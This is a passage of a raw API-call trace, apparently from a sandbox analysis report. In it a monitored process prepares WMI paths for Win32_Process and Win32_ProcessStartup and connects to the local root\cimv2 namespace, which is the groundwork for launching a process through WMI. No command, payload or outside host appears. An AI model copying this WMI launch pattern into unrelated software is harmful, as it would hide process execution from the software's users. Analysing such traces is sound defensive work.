riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea0830) returned 0x0 [0059.391] WbemDefPath:IUnknown:AddRef (This=0x1bea0830) returned 0x3 [0059.391] WbemDefPath:IUnknown:Release (This=0x1bea0830) returned 0x2 [0059.391] WbemDefPath:IWbemPath:SetText (This=0x1bea0830, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0059.391] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0830, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0059.391] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0830, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0059.391] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0830, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0059.391] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0830, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0059.391] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0830, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0059.391] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0830, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0059.392] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0059.392] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0059.392] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0059.392] IUnknown:Release (This=0x111f638) returned 0x1 [0059.394] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1beaa1b0) returned 0x0 [0059.394] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beaa1b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0059.394] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beaa1b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea08f0) returned 0x0 [0059.394] WbemDefPath:IUnknown:Release (This=0x1beaa1b0) returned 0x0 [0059.394] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea08f0) returned 0x0 [0059.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0059.395] WbemDefPath:IUnknown:AddRef (This=0x1bea08f0) returned 0x3 [0059.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0059.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0059.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1beaa1f0) returned 0x0 [0059.395] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1beaa1f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.395] WbemDefPath:IUnknown:Release (This=0x1beaa1f0) returned 0x3 [0059.395] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0059.395] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0059.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0059.395] WbemDefPath:IUnknown:Release (This=0x1bea08f0) returned 0x2 [0059.395] WbemDefPath:IUnknown:Release (This=0x1bea08f0) returned 0x1 [0059.396] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0059.396] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0059.396] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea08f0) returned 0x0 [0059.396] WbemDefPath:IUnknown:AddRef (This=0x1bea08f0) returned 0x3 [0059.396] WbemDefPath:IUnknown:Release (This=0x1bea08f0) returned 0x2 [0059.396] WbemDefPath:IWbemPath:SetText (This=0x1bea08f0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0059.396] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea08f0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0059.396] WbemDefPath:IWbemPath:GetText (in: This=0x1bea08f0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0059.396] WbemDefPath:IWbemPath:GetText (in: This=0x1bea08f0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0059.396] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea08f0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0059.396] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea08f0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0059.396] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea08f0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0059.396] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea08f0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0059.396] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0059.396] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0059.396] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.396] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0059.396] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0059.396] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0059.396] IUnknown:Release (This=0x111f638) returned 0x1 [0059.399] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1beaa230) returned 0x0 [0059.399] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beaa230, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0059.399] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beaa230, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bea09b0) returned 0x0 [0059.399] WbemDefPath:IUnknown:Release (This=0x1beaa230) returned 0x0 [0059.399] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bea09b0) returned 0x0 [0059.399] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0059.400] WbemDefPath:IUnknown:AddRef (This=0x1bea09b0) returned 0x3 [0059.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0059.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0059.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1beaa270) returned 0x0 [0059.400] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1beaa270, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.400] WbemDefPath:IUnknown:Release (This=0x1beaa270) returned 0x3 [0059.400] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0059.400] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0059.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0059.400] WbemDefPath:IUnknown:Release (This=0x1bea09b0) returned 0x2 [0059.400] WbemDefPath:IUnknown:Release (This=0x1bea09b0) returned 0x1 [0059.400] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0059.400] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0059.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bea09b0) returned 0x0 [0059.400] WbemDefPath:IUnknown:AddRef (This=0x1bea09b0) returned 0x3 [0059.400] WbemDefPath:IUnknown:Release (This=0x1bea09b0) returned 0x2 [0059.400] WbemDefPath:IWbemPath:SetText (This=0x1bea09b0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0059.401] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea09b0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0059.401] WbemDefPath:IWbemPath:GetText (in: This=0x1bea09b0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0059.401] WbemDefPath:IWbemPath:GetText (in: This=0x1bea09b0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.401] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0059.401] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0059.401] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0059.401] IUnknown:Release (This=0x111f638) returned 0x1 [0059.402] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1beaa370) returned 0x0 [0059.402] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa370, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0059.402] WbemLocator:IClassFactory:CreateInstance (in: This=0x1beaa370, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1beaa390) returned 0x0 [0059.402] WbemLocator:IUnknown:Release (This=0x1beaa370) returned 0x0 [0059.402] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa390, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1beaa390) returned 0x0 [0059.402] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa390, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0059.403] WbemLocator:IUnknown:AddRef (This=0x1beaa390) returned 0x3 [0059.403] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa390, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0059.403] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa390, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0059.403] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa390, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0059.403] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0059.403] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0059.403] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa390, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0059.403] WbemLocator:IUnknown:Release (This=0x1beaa390) returned 0x2 [0059.403] WbemLocator:IUnknown:Release (This=0x1beaa390) returned 0x1 [0059.403] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0059.403] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0059.403] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa390, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1beaa390) returned 0x0 [0059.403] WbemLocator:IUnknown:AddRef (This=0x1beaa390) returned 0x3 [0059.403] WbemLocator:IUnknown:Release (This=0x1beaa390) returned 0x2 [0059.403] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea09b0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0059.403] WbemDefPath:IWbemPath:GetText (in: This=0x1bea09b0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0059.404] WbemDefPath:IWbemPath:GetText (in: This=0x1bea09b0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.404] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1beaa3b0) returned 0x0 [0059.404] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1beaa3b0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bea6f30) returned 0x0 [0059.544] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6f30, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11df420) returned 0x0 [0059.544] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11df420, pProxy=0x1bea6f30, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0059.544] WbemLocator:IUnknown:Release (This=0x11df420) returned 0x1 [0059.544] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6f30, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11df460) returned 0x0 [0059.544] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6f30, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11df420) returned 0x0 [0059.544] WbemLocator:IClientSecurity:SetBlanket (This=0x11df420, pProxy=0x1bea6f30, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0059.545] WbemLocator:IUnknown:Release (This=0x11df420) returned 0x2 [0059.545] WbemLocator:IUnknown:Release (This=0x11df460) returned 0x1 [0059.545] CoTaskMemFree (pv=0x1beaac50) [0059.545] WbemLocator:IUnknown:AddRef (This=0x1bea6f30) returned 0x2 [0059.545] WbemLocator:IUnknown:Release (This=0x1beaa3b0) returned 0x0 [0059.545] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0059.546] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0059.546] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6f30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11df430) returned 0x0 [0059.546] WbemLocator:IRpcOptions:Query (in: This=0x11df430, pPrx=0x1beaa410, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0059.546] WbemLocator:IUnknown:Release (This=0x11df430) returned 0x2 [0059.546] 